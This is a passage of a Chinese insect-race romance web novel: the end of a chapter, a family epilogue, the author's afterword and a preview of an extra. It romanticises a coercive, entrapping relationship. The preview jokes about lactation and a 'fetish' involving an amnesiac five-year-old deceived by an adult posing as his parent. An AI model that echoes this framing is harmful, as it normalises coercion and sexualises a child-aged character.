墨尔庇斯掏出虫核后并未死去。因为虫核始终留在雪因身上,他体内流淌的血,与其说是来自亲生雌父雄父,不如说早已被墨尔庇斯的血脉浸透。在密密麻麻交错的时间线里,墨尔庇斯一次又一次将血液渡给他,直至他的生命底色都被彻底染透。 以至于就算墨尔庇斯的虫核被生生扯离躯体、封存于雪因腕间,对墨尔庇斯来说,也不过是不再能动用太过逆天的规则级力量。其余并无大碍,甚至只要虫核不碎,墨尔庇斯便不会再受致命之伤。 共生般的联结,普通虫族根本无法做到,偏偏雪因身上有太多他留下的痕迹,早被虫核默认为一体。 而雪因,也因此能调动虫核的力量。意味着如今的墨尔庇斯未必还能打赢他。 只是骤然离体带来强烈不适,墨尔庇斯终究是昏迷了过去。这段时间雪因则一直守着王爵府,至少在这段虚弱期,他得留下。墨尔庇斯仇敌太多,他不能就这样转身离开。 等墨尔庇斯快要醒来时,他便动身。 是的,雪因不打算留在帝星。 这里给了他太多痛苦不堪的回忆。如今墨尔庇斯不再构成威胁,阿南克的地位已然稳固,希利安也成婚了,能独当一面不再需要照顾。两个虫崽,各有各的路要走。 那他呢? 雪因想了很久还是没有想出来。至于诺伊斯……雪因感觉有些牙痒痒。 有点恨了哈。 自作主张的坏东西,既然一心要自己闯,那就自己去闯。他才不要再回去找他,无论如何,把他迷晕了送到墨尔庇斯床上都是不能原谅的。 ……哼。 反正诺伊斯也安排好了,有他送的东西,铺好的路,足以让那只他过上不错的生活。雪因不打算再干涉,也不打算再见,想做哥哥,那就拿出本事,有本事再爬回来见他,没本事就飘在外边一辈子吧! 他晃了晃悬空的腿,望向天际线之外。他想,或许该去外面的世界看看。 帝星…都把他牺牲送给墨尔庇斯玩了,还指望他成年后继续为规则、为帝国卖命?做梦。雪因决定罢工,这日子谁爱过谁过去,反正有希利安在顶上。 已经有足够的力量自保,那便去看看——诺伊斯口中那个广阔的世界,墨尔庇斯常年征伐穿梭的星河,虫族疆域之外无数闪烁的陌生星系。听说每一片星域都有一颗主星,那里的雄虫,又是怎样活着? 雪因想着开始好奇起来。先去帝星周边转转,再一点点走向更远… 做一只普通的亚雌似乎也不错。 蓝眸在月光的照耀下亮起起来,眼眸弯弯,对面是自由的风儿吹过,像吹入心口,满心自由。吐出一口气,站起来。 墨尔庇斯大约两日后醒来。 那么,今夜就离开吧。 刚走两步,身后便传来细碎而拖沓的声响,像是什么东西拖拽着、执拗地向他挪近。 熟悉的气息随风飘来,依旧强势,却破天荒地渗出一丝柔软的哀切。 雪因脚步一顿。 身体下意识起了一阵寒意,他不知该如何面对墨尔庇斯。 他痛苦的源头,挣扎的执念,他的骨血,他们早已分不开。腕间的骨环开始微微发烫,好似沿着手腕一路烧进心口,瞬间将他拽回孤立无援的日日夜夜。 雪因唇色白了些,垂下眼眸,余光落在刚刚开好通往未知的隧道,一时有些茫然。 他想他是恨墨尔庇斯的,是他困住了他。可没有墨尔庇斯的话,他活不下来。 但他也从来不愿以这种方式活下来。没人问过他想过怎样的生活,都在自作主张,判定他需要墨尔庇斯的庇护,于是将他送到对方手中。墨尔庇斯也从不问他想过怎样的生活,总是给他安排不容拒绝的一切。 他曾想过,这是他欠墨尔庇斯的,那他乖乖待在墨尔庇斯身边就好。离开诺伊斯后,他试过待在墨尔庇斯的身边,或许他们可以…就这么不冷不热过上墨尔庇斯期待的生活。 可墨尔庇斯偏偏要对阿南克下手。不止阿南克,好似还有很多未来得及出生的虫崽,在他的眼泪下被墨尔庇斯扼杀。 雪因感觉心脏抽抽的疼,在墨尔庇斯身边总是很难过。他想他该走了,这条时间线没发生的事,他不该提前痛苦,可他不愿再见到他了。一闭眼,仍是阿南克胸前的血,触目惊心。 而他甚至不能鼓起勇气将刀对准墨尔庇斯,那是将他从蛋中孵化的虫。道德和底线徘徊,他还是无能。 他有些落荒而逃的意味,直觉告诉他,今天必须得走。 没走两步,脚踝被宽大的手掌握住。本该强势的手,却因主人的虚弱而只是轻轻搭着,冰冷触感爬上脊背,雪因瞬间僵住。 身后传来雌虫沉重破碎的喘息声,随着细微崩裂声,血腥气缓缓弥漫开来。 雪因毛都要炸开了,毫不犹豫将脚踝抽开墨尔庇斯的手,就要走。 下一秒,小腿被抱住。温热的吐息狼狈地蹭着他的腿,雪因慌极了,哪怕他知道墨尔庇斯此时根本构不成威胁,还是下意识握紧拳头,就要朝对方挥去。 他对上了墨尔庇斯的眼眸,一向无法反射光线的黑眸似被月色浸透,蒙着一层雾气,嘴角血迹未干,脸色苍白如纸,衣衫凌乱不堪,显然是一路拖着未愈的身体竭力爬来,耗费他太多没有恢复的精力,狼狈哀切不已。 却什么都没说。 雪因悬在半空的拳头僵住,他本也不是恶劣的性格。看到墨尔庇斯这身狼藉,下意识心颤了会,放下拳头。僵持良久,雪因强硬开口:“我不喜欢你。我不要和你在一起。没用的,你做什么都没用。” “你不要看着我,我欠你的,我已经还给你了。你要我的血,我现在也可以还给你,但你知道我们之间不可能了。” 墨尔庇斯像是没有听懂,又像是根本没有在听。只是看着雪因嘴唇一张一合,眼神再次变得痴迷痛苦,手固执地圈着他的小腿,跪在地上的姿态卑微,仰视着他。 “你听懂了吗?”雪因有些生气了,心乱得慌,干脆抬脚朝墨尔庇斯踢去,“我们不可能。我再也不会留在你身边了。” 墨尔庇斯下意识蜷身护住腹部躲开了,像个毫无反抗之力的雌虫一样,被这一脚带得侧倒在地,发出一声闷响。却没有呼痛,依旧什么都没说,抬起眼死死盯着雪因,又似悲恸又似疯狂。 不知为何,雪因看着他的表情莫名恐慌起来。太不对劲了,墨尔庇斯不可能这样,雪因踉跄着后退了两步。 他想,他得赶紧逃。 却什么都做不到,脚下仿佛生了根,眼睁睁看着墨尔庇斯单手捂着腹部,如同从地狱里一寸寸爬出的恶鬼,视线锁死他,朝他一步步爬过来,而他挣脱不得。 冰凉的手攥住了他的小腿、大腿、顺着他的腿线向上攀爬,借着他的身体作为支点,将摇摇欲坠的自己重新撑起,将雪因再一次死死箍在怀中。 雪因心悸地厉害,恐惧笼罩了他,不详的预感越来越深。脖颈上墨尔庇斯恶鬼般阴冷又灼热的吐息,缠上他的身体。 明明已经构不成威胁了,为什么啊!雪因觉得他该逃的,明明只要将雌虫推开、只要推开他,墨尔庇斯这具身体根本站不起来,这不过是强弩之末罢了。他看得出来,对方绝对没有再一次站起来的力气。 可墨尔庇斯偏偏抱住了他,像是有恃无恐。 雪因浑身僵硬,冷汗溢出根本不敢动,莫名的恐惧让他冷汗直流,唇色微微苍白。 他笼罩在对方的阴影之下,对方的气息强势地包裹着他,明明已经这么虚弱了凭什么啊! 墨尔庇斯握住了他僵在身侧的手。 雪因空洞地眨了眨眼,似乎无力挣扎的是他,只能顺着墨尔庇斯的力道,被他拉着缓缓按在了墨尔庇斯的腹间。 雪因瞬间瞳孔放大,耳边嗡嗡作响,世界褪成空白,被剥夺了所有反抗的力气。 他感觉到了。 微弱幼小的精神力,像阿南克、像希利安,像许许多多未来得及诞下的虫崽一样,像初生雏鸟伸出细嫩的喙,依恋地轻轻触碰了他的手掌。 耳边是墨尔庇斯低头痴痴疯狂的笑。 雪因茫然地下意识反抱住墨尔庇斯,温润的信息素下意识小心翼翼喂入幼小的生命。忽的闭上眼。 泣不成声。《 》 第112章 后记【完结】 第112章 后记 镜头晃动,像是被一只小手努力举高。下一刻镜头翻转,画面慢慢从模糊聚焦,清晰聚焦在一张软乎乎黑发黑眸的小豆丁上,镜头慢慢拉远,露出他那双弯弯亮亮像紫葡萄似的大眼睛,对着镜头,又一板一眼地行了个标准的帝星礼。 [大家好,我叫摇铃。] 镜头再晃动,从摇晃的椅子腿,到晃动攀爬而上的半截小腿,最后稳稳对准窗外花园,喷泉旁两位身姿挺拔的黑发雌虫正在交谈。一位穿着帝国储君的制服,姿态沉稳,带着凌厉的肆意。 [这位是我的大哥,阿南克·德斯蒙德,帝国的储君,随了皇室姓氏。] 摇铃的声音奶声奶气,带着点与有荣焉的小骄傲。 接着镜头一晃对准阿南克对面的雌虫,与阿南克八分像,气质却迥然不同,黑色的长发束得一丝不苟,眉眼温润。 [这是我最最最最好的二哥哥,风泠·莱昂图特!继承了雌父的爵位,前些年就开始带领军团啦。也是雌父最喜欢的虫崽…虽然雌父总是不承认。听说,当年就是因为有了二哥,雄父才留下来的,而且第二天就拽着雌父去登记,不到三天就把盼了几十年的婚礼给补上了。]摇铃超级小声说:[我偷偷听到,雌父说要是早知道这么容易,就该在雄父刚成年时就拐上床…坏啊,雌虫真是太坏了。] 镜头又晃了晃,试图拉近捕捉大哥和二哥交谈的细节,可惜距离太远。摇铃只好放弃,老气横秋地叹了口气:[我猜多半是大哥又在说雌父坏话,二哥忙着端水。二哥总是很忙,他们离我…很高的时候。二哥哥哄完大哥哄雌父,哄完雌父哄雄父,哄完雄父教育哥哥们。] [啊对,还有双黄蛋三哥和四哥。响铃和闹铃,据说是因为他们破壳期间雄父出了一些意外,等雄父恢复记忆后,他俩小名就被雌父随便地定下,雄父自然不愿。吵了一架的结果是:雌父发誓要赔雄父一只白毛,是的,我上边四个雌虫哥哥全是黑发黑瞳,每天雄父醒来都两眼一黑,物理上的。] 镜头再次晃荡,对准了花园长椅。墨尔庇斯正坐在那里,而两只一模一样的黑发雌虫眨巴着总是看似无辜的狗狗眼,正一左一右地缠着他。 “雌父~”本看起来成年的雌虫瞬间变小成五六岁大的模样,从身后抱住墨尔庇斯,顶着墨尔庇斯杀人的眼神脸皮超厚地蹭着。 “离远些,响铃你的规矩都喂狗了吗?”墨尔庇斯不耐烦得很。 毫无自觉的响铃继续开口,“我又不是雄虫,咱雌虫间亲密些怎么了。再说了,总好过我是雄虫还和雌父你亲昵吧?我们亲子时光,亲密一些,雄父喜欢看这个。” “……”墨尔庇斯懒得理这脑子不好的虫崽。 但什么是权威?权威就是虫崽们受伤雪因第一个就找他算账,他哪敢啊!现在恨不得把虫崽们全关起来圈养算了,省得虫崽们受一点伤雪因又要和他发脾气,书房可不好睡。 “雌父!看,”另一边的闹铃趁机爬上长椅扶手,献宝似的将两张试卷举到墨尔庇斯眼前,指着上面鲜红的数字,“六十分,及格了。” 墨尔庇斯一愣,接过试卷仔细看了两眼,紧抿的嘴角终于控制不住地向上弯了一下。满门学霸的家庭出了俩学渣是什么体验?他这些年和雪因都不知道怎么过来的,只能说托两虫崽的福,内部矛盾彻底转化为一致对外的教育焦虑,直到最后连连好脾气的雪因都差点被气到自闭,果断将双黄蛋的教育大权移交给了风泠,他们才终于解脱。 “说吧,” 墨尔庇斯将试卷递回去,语气缓和了不少,“想要什么?” 响铃和闹铃对视一眼,默契十足。响铃轻咳一声,凑近些,眼睛亮晶晶的:“是这样的,雌父…我们,嗯,我看上了一只雄虫…” “你们?不行,弄死了被你们雄父知道我也保不住你们…” 镜头一转,从花园里那对还在和雌父讨价还价的双黄蛋身上移开,重新对准了自己。摇铃皱了皱小鼻子,继续对准镜头开口道:[于是为了补偿雄父,雌父便有了我。嘿嘿,] 镜头再次放大自己的脸,摇铃笑得狡黠,[也是雌虫噢,黑发黑眸。哎,雌父可真坏啊,就欺负雄父这种不懂遗传学的单纯雄虫,就我雌父这种祖传稳定得要死的黑发黑瞳基因,怎么可能生得下白毛,全靠一张嘴哄着雄父‘努力’。 在我弟弟出生前雄父已经绝望了,据说雌父还得了好几次冷脸,对我弟弟自然不抱希望,但没想到!结果真的出来一只白毛,也是雄父最喜欢的雌虫崽弟弟…] “摇铃?拍什么呢?” 雪因抱着一只软乎乎雪白长发的虫崽,虫崽裹在宽大毛茸茸兔子连体睡衣里,软软地窝在雄父怀里,小脸埋在雪因肩头,只露出一双亮晶晶的眼眸。 “雄父,辛苦啦~我来抱抱银铃弟弟。”摇铃放下相机,两只手举起,笑眯眯看着雪因,乖的要命,惹得雪因弯了弯蓝眸,温柔快溢出来,揉了揉摇铃的脑袋。 “我们摇铃可以吗?” “当然可以,我最喜欢银铃弟弟了。” “家里就数你最乖。”雪因笑了笑,将像一团云朵似的银铃,稳稳放进摇铃臂弯里。 转身,餐厅侍虫们忙碌着,雪因接过侍虫递来的温热星兽奶罐,轻声朝侍虫交代着什么。 确保雪因看不到后,摇铃与银铃对视,乖巧甜美的笑容瞬间消失,两只雌虫崽原本无辜圆圆的眼眸立刻半眯,摇铃举起银铃就要往地上摔去。 争宠的玩意,摔不死你,谁不知道你的白发是雌父给染白忽悠雄父的!!! 银铃一改痴呆懵懂宝宝形象,根本不等落地,小小的身体如雪豹幼崽,精准地一蹬一扭,稳稳站住,借力反扑,一下子缠上了摇铃的胳膊,俩虫崽缠斗起来。 “嗯?”雪因似乎听到了点细微的动静,疑惑地回头。 方才还扭打作一团的两只瞬间分开。摇铃恢复双手稳稳抱着银铃的姿势,轻轻颠了颠,对着银铃哄道:“银铃弟弟,看~躲猫猫!” 银铃配合着咯咯笑。 雪因看了看,没发现异常,眉眼重新柔和下来,转回头继续处理奶罐。 他刚一转身—— 战火重燃! 这次更加激烈。 就在这时,一片阴影笼罩下来。墨尔庇斯走到近前,居高临下地看着地上滚作一团、还试图互相锁喉的两个虫崽,脸上没什么表情,直接弯腰,一手一个衣领,像拎两只不听话的猫崽一样,干脆利落地把他们提溜起来。 两只虫崽瞬间僵住,蹬腿。 墨尔庇斯看都没多看一眼,臂膀随意一丢——咻!咻! 两道小小的身影划出流畅的抛物线,径直穿过敞开的窗户,很快化作天际两颗遥远的流星飞向花园。 完美清场。 雪因正好拿着温好的星兽奶转过身,发现刚才还在身边的两个虫崽不见了。“虫崽们呢?”他眨眨眼,看向墨尔庇斯。 墨尔庇斯走到雪因身边,极为自然地抬手,指尖掠过他颊边,将那缕不听话的雪发别到耳后。“玩去了。雌虫就是精力旺盛,调皮得很。” “……好吧。”反正在王爵府内,虫崽们的安全总归是无虞的。“今天不是带响铃闹铃去晨训了吗?怎么回来得这么早。” 当然是被虫崽们烦的。墨尔庇斯没有回答,拉开了一旁的餐椅。与很多年前不同,如今餐桌面摆满了虫崽们的餐具,不再是两虫,也不是让墨尔庇斯烦躁的三虫,多一个是碍眼,多很多个…墨尔庇斯渐渐也习惯收敛了不少。再说,确实不是所有的虫崽都是来讨债的。 “我知道,”雪因侧头对他笑,多年过去本就温和的气质愈发沉淀,眼底萦绕不去的郁气,也在虫崽们日复一日的缠绕与吵闹中被抚平,连带着和身边这只雌虫的关系,也缓和升温。“是怕赶不上家里的早餐?” 于是墨尔庇斯也微微点头,算是默认了这个听起来颇为顾家的理由。 雪因提起温好的星兽奶罐,一旁的侍虫立刻将一套精致的杯子摆好。清浅的水流声响起,第一杯很快注到半满。雪因停下动作,看了一眼身旁明明在意却偏要装作漠不关心的雌君,唇角微弯,将杯子轻轻推过去。“第一杯……给我们辛苦的雌君大人。这个会闹,所以要先给。” “……幼稚。”墨尔庇斯嗤了一声,语气硬邦邦的,但手上动作却快,稳稳接过了杯子,一滴不剩喝完了雄虫亲手递上的星兽奶。 惹得雪因笑出声,摇了摇头。 “接下来,是阿南克,还有希利安……”雪因一边念叨,一边准备继续倒奶,“对了,希利安待会儿要过来,不知道会不会带上他家那几个小虫崽。” “嗯。”墨尔庇斯淡淡应了一声。 希利安每周一都会过来,偶尔带着他自己的虫崽过来蹭饭。作为雪因选定的家族继承者,墨尔庇斯对他的态度谈不上喜爱,但对自家‘虫崽’的虫崽总是多能容忍几分。 “再接下来是风泠——”雪因刚要继续,墨尔庇斯的手便伸了过来,不由分说地按住了他握着奶罐的手。“行了,剩下的让风泠给他那些弟弟们分去。” 风泠作为莱昂图特未来继承虫,协调管理弟弟们也是必学的内容。话音未落,风泠便跟着大哥阿南克一前一后走了进来。风泠一眼便看清了餐桌边的局势,立刻快走几步上前,极为自然地接过了雪因手中的奶罐。“雄父坐,我来就好。” 阿南克与墨尔庇斯的视线在空中短暂交会,互相露出一丝嫌弃,随即又默契地同时移开,但总算没有吵起来,坐在了一旁。 “摇铃和银铃刚才跑出去了,”风泠一边熟练地为弟弟们分倒星兽奶,一边向雪因解释,“我已经让响铃和闹铃去花园找他们回来,很快就能开饭。” 雪因点点头,安心地坐下,接受着虫崽递上的早餐。风泠确实是家中最稳重的虫崽,从小就妥帖,雪因偶尔会心疼他这样会不会太累,他却说身为莱昂图特未来继承虫,管理好家族、照顾好弟弟们是他的分内之事,也由衷感到幸福。实在担心他忙不过来,不如和雌父多生些虫崽,壮大家族,也方便他日后安排。 安排?安排什么?雪因沉默。没想到家族除了希利安又养出了一个根正苗红的事业型。想到自己这么多年丢给希利安的工作,雪因明智地选择了保持安静,不敢吱声。总之风泠的确是个无可挑剔的、完美的家族继承虫。 “雄父。”这次是希利安踏入了餐厅。褪下了年少的戾气,常年身处权力中心,多了几分被权力浸透的气质,遗传自诺伊斯的狐狸眼弯弯,但对着雪因却真挚不少。 “雄父~”他怀里抱着的一小团小雄虫,也有模有样学着。 “哈,”雪因笑出声,起身接过他怀中的雄虫崽,“你叫什么雄父~” 这个白发紫眸的小雄虫崽,是希利安的三子,希利安膝下长子作为维斯特冕家继承虫被洛伦兹带在身边亲自教导,次子雌虫则跟着诺伊斯在外交部历练,而这三子雄虫如今也三岁了,经常被希利安送到雪因这儿。 反正带一个虫崽和带一群虫崽没什么区别,雪因自是喜欢的,家里除了他自己,可再没第二个雄虫了! “殿下~”于是小雄虫继续用新学的词傻乎乎地喊,婴儿肥的脸让雪因不由自主捏了捏。 一道银白色的小炮弹快速从他脚边窜起,三两下便攀着他的衣服爬了上来,稳稳占据了雪因的另一边臂弯,示威般蹭了蹭。 雪因:“?” 低头,对上幺子银铃泪汪汪,满眼写着控诉,他明明是家里最小的!这么早就失宠了吗!!! 对面的墨尔庇斯不动声色地端起杯子,递到唇边,借此掩住嘴角弧度,表示还得是自家虫崽。 雪因看着怀里一边一个、风格迥异的崽,心里哪还不明白?他失笑,先将懵懂的小雄虫交还给希利安,把委屈巴巴的幺子团吧团吧抱怀里哄了哄,“银铃最小,雄父最喜欢银铃了,乖啊。” 这下又惹墨尔庇斯开始飘乌云了。 噢不,维斯特冕王爵府端水指南第一条:不能当着墨尔庇斯的面说‘最’喜欢。 雪因抱着银铃坐下,动作无比自然地将这粘人的小东西往身旁的墨尔庇斯膝上一放,“银铃,让雌父抱抱,雄父手酸了。” 顺手摸了摸墨尔庇斯的手表示安抚。 是的,多年的日常已经将雪因逼成端水大师了,哄完小的哄大的。 幸运的是…目光扫过整个餐厅。 刚刚被放过的响铃和闹铃,一左一右挂在脸色发黑的大哥阿南克身上,嘿嘿嘿嘿不知在说些什么,惹得素来威严的储君殿下额角青筋微跳。墨尔庇斯看着长子吃瘪,心情似乎多云转晴了一瞬。但很快便笑不出来了,余光瞥见摇铃和银铃又开始了新一轮暗流汹涌的‘友好交流’,顾不上看阿南克笑话了,试图在俩虫崽战火升级、被雪因察觉前将其扼杀在摇篮里,一时间手忙脚乱。 风泠已经为所有虫崽分好了星兽奶,与希利安低声交谈,话题从家族事务自然过渡到帝星最近的动向,气氛融洽。 雪因看着热闹得几乎要满溢出来的一家虫,眉眼弯弯。 幸运的是——他时间足够多。 —— 雪因用完餐,和阿南克走在长廊上。 “R3-76星系新进贡了一批外域的特产和工艺品,清单已经送来了。”阿南克还是喜欢和雪因独处的,连带着声音也少了些锋锐。 那个星系,是诺伊斯目前常驻并主持外交事务的区域。这些年经过精心筛选的礼物时不时总会按时送达——当然,无一例外都需先经墨尔庇斯之手。 雪因的脚步未停,只是目光投向廊外蓊郁的花园,“他怎样了?” “希利安家老大可不是个省油的灯,闹腾得很,够他头疼的。”阿南克嘴角勾起笑意。 “活该,”雪因眨了眨,说道,“他就该知道,雄虫可不是那么好哄的。”没再说下去,摇了摇头,唇角微弯。 “是。” 直到闲谈告一段落,雪因才像是突然察觉,停下脚步侧身看向廊柱投下的阴影。 “元帅大人可真巧,偌大的王爵府,每次散步都能恰好遇上您。” 阴影微微晃动。雪因甚至没看清墨尔庇斯是如何动作的,明明前一秒还只有他自己的气息,下一秒虫崽温软无害的气息便凭空出现。 墨尔庇斯的身影自暗处走出,怀里抱着睡得正熟、小脸红扑扑的银铃,显然是被仓促间从某个温暖角落掏出来的道具。他面不改色,一本正经地将白毛团子往前递了递:“当然不是凑巧。银铃醒来一直闹着要找雄父,哄不住。” ……这么多年了,嘴硬这点还是改不了。雪因心里失笑,不过也算习惯了,接过睡得香甜的幺子,动作间瞥见银铃蓬松的雪白发丝根部,一小缕新生的黑色悄然探出头。 雪因刚想装作不知道,将黑发压住。蓝眸微转,忽然起了点捉弄的心思。抬起头看向墨尔庇斯,装作疑惑开口道:“墨尔庇斯,你来看看…银铃的头发根这里,颜色是不是…有点深了?看着好像有点发黑?” “什么?我看看,” 墨尔庇斯反应极快,慌乱迅速地从雪因怀里接回银铃,手掌状似无意地完全盖住了那缕不听话的黑发。他垂眼仔细——实则根本没看,随即开口:“蹭、蹭到灰了。这小混蛋,整天乱钻,回头让侍虫好好给他洗洗就白了。” “ 这虫崽,整天瞎跑真是。”他生硬地补充,试图让这个借口听起来更合理些。 “嗯。”雪因看着他,终于忍不住,低低地笑了起来。 轻轻拉住了墨尔庇斯空着的那只手,一同往家的方向走去。 那里有他很多很多无比珍视的虫崽们,有他的家。 ————正文完—————— 作者有话说:主线到这就结束啦,感谢陪伴。 所有虫都得偿所愿吧。雪因开始想要家要爱,最后得到家和爱;墨尔庇斯想要雪因,最后得到雪因;诺伊斯追逐权力,最后得的权力。 接下来大概是主线剧情不动的情况下整体修文,集中视角以使叙事脉络更清晰完整。 修文完成后,预计于年后或三月间开始更新番外,时间线设在双黄蛋破壳之后。有想看的片段、想补全的日常,欢迎点餐。 以下番外预告: 大家好,我叫雪因…莱昂图特。 今年五岁…五岁?而眼前这个有我三倍高的雌虫宣称是我雌父。是的,我失忆了。 “我觉得你不是我雌父。”尽管对方一本正经,而我身边只有他一只雌虫。 “我们一点都不像。眼睛不一样,头发不一样,长得也不一样。”我试图说服他,这很不科学。 “宝贝,你知道遗传学里有一种情况,叫作‘白化种’。而且,你认为一只正处于哺乳期的雌虫,会有多余的善心去收养一只与自己毫无血缘关系的雄虫幼崽吗?” “就…就算是这样,我都这么大了,早就该断奶了!”救命,脸好烫,这虫怎么把这种事说得这么理所当然!好不要脸啊! “我说了,你是白化种,天生孱弱。我一向最溺爱你这个虫崽,所以这些年,为了迁就你某些扭曲的……嗯,小小的、特别的喜好,我时时刻刻满足你。我本不想提,你失忆了,再说这些怕你难为情。但你既然追问……” “我没有!那种!癖好!!!” “你看,你从小就这样,虽然内心…但表面又很容易害羞,总是不愿意承认。所以我才一直不敢提,怕刺激到你。但无论如何,雌父都会一直满足你。” 我的视线不受控制地,飘向他胸前军服上那处颜色略深溢出的液体。 “饿了?是吗?别害羞,我的虫崽。这很正常。” 啊啊啊啊啊啊啊——! 变态居然真是我自己吗?!《 》